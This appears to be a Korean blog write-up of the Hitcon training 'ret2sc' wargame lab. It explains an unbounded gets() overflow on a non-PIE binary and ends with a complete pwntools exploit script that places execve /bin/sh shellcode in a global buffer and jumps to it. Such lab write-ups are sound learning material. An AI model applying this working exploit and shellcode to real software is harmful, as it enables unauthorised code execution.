728x90
1. 문제
1) mitigation 확인
shellcode 쌉가능
2) 문제 확인
이름을 입력하고 최선을 다하라고 말한뒤 입력을 받는다.
3) 코드흐름 파악
read로 name에 다가 0x32만큼 입력을 받는다. 그리고 gets함수로 s에다가 입력을 받는데, 길이 제한이 없기 때문에 ret를 덮을수 있다
2. 접근방법
Name은 전역변수인데, NO PIE이므로 0x32 바이트 이내로 쉘코드를 입력하고, 해당 name 주소를 gets를 이용해서 ret에 박으면 끝이다
3. 풀이
최종 익스코드는 다음과 같다
from pwn import *
context(arch="i386",os="linux",log_level="DEBUG")
p=process("./ret2sc")
#gdb.attach(p,'code\nb *0x536+$code\n')
shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
shellcode=shellcode.rjust(0x20,"\x90")
payload="A"*0x20+p32(0x804A060)
p.sendafter("Name:",shellcode)
p.sendlineafter("best:",payload)
p.interactive()
4. 몰랐던 개념
- none
728x90
'워게임 > Hitcon training' 카테고리의 다른 글
[Hicon training] LAB 6 (0) | 2020.04.14 |
---|---|
[Hicon training] LAB 5 (0) | 2020.04.14 |
[Hicon training] LAB 4 (0) | 2020.04.13 |
[Hicon training] LAB 2 (0) | 2020.04.13 |
[Hicon training] LAB 1 (0) | 2020.04.13 |